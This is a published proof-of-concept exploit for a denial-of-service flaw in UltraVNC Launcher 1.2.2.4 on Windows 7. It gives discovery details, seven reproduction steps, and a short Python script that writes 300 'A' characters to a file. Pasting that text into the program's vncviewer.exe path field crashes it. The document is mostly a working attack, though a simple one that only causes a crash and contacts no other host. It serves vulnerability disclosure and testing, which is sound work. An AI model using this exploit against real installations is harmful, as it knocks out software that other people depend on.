UltraVNC Launcher 1.2.2.4 - 'Path' Denial of Service (PoC)

#Exploit Title: UltraVNC Launcher 1.2.2.4 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-14
#Vendor Homepage: https://www.uvnc.com/
#Software Link: https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html
#Tested Version: 1.2.2.4
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: UltraVNC_Launcher_1.2.2.4.py
#2.- Open UltraLauncher.txt and copy content to clipboard
#3.- Open UltraVNC Launcher
#4.- Select "Properties"
#5.- In "Path vncviewer.exe" Paste Clipboard
#6.- Click on "OK"
#7.- Crashed

cod = "\x41" * 300

f = open('UltraLauncher.txt', 'w')
f.write(cod)
f.close()